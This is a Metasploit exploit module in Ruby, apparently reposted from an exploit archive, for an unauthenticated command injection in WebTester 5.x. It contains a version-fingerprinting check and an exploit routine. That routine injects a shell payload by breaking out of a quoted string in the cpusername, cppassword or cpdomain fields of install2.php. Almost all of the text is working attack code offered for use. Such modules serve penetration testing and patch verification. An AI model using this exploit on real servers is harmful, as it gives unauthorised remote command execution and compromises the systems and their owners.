WebTester 5.x Command Execution

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "WebTester 5.x Command Execution",  
'Description' => %q{  
This module exploits a command execution vulnerability in WebTester  
version 5.x. The 'install2.php' file allows unauthenticated users to  
execute arbitrary commands in the 'cpusername', 'cppassword' and  
'cpdomain' parameters.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit  
],  
'References' =>  
[  
['URL' => 'https://sourceforge.net/p/webtesteronline/bugs/3/']  
],  
'Payload' =>  
{  
'Space' => 8190, # Just a big value, injection on POST variable  
'DisableNops' => true,  
'BadChars' => "\x00"  
},  
'Arch' => ARCH_CMD,  
'Platform' => 'unix',  
'Targets' =>  
[  
# Tested on WebTester v5.1.20101016  
[ 'WebTester version 5.x', { 'auto' => true } ]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Oct 17 2013',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to WebTester', '/webtester5/'])  
], self.class)  
end  
  
#  
# Checks if target is running WebTester version 5.x  
#  
def check  
res = send_request_raw({ 'uri' => normalize_uri(target_uri.path) })  
  
if not res  
print_error("#{peer} - Connection timed out")  
return Exploit::CheckCode::Unknown  
end  
  
if res.body =~ /Eppler Software/  
if res.body =~ / - v5\.1\.20101016/  
print_status("#{peer} - Found version: 5.1.20101016")  
return Exploit::CheckCode::Vulnerable  
elsif res.body =~ / - v(5\.[\d\.]+)/  
print_status("#{peer} - Found version: #{$1}")  
return Exploit::CheckCode::Appears  
else  
return Exploit::CheckCode::Detected  
end  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
vuln_params = [  
'cpusername',  
'cppassword',  
'cpdomain'  
]  
print_status("#{peer} - Sending payload (#{payload.encoded.length} bytes)...")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'install2.php'),  
'vars_post' => {  
'createdb' => 'yes',  
'cpanel' => 'yes',  
"#{vuln_params.sample}" => "';#{payload.encoded} #"  
}  
})  
  
if not res  
fail_with(Failure::Unknown, "#{peer} - Request timed out")  
elsif res.code == 200 and res.body =~ /Failed to connect to database server/  
print_good("#{peer} - Payload sent successfully")  
else  
fail_with(Failure::Unknown, "#{peer} - Something went wrong")  
end  
  
end  
end  
`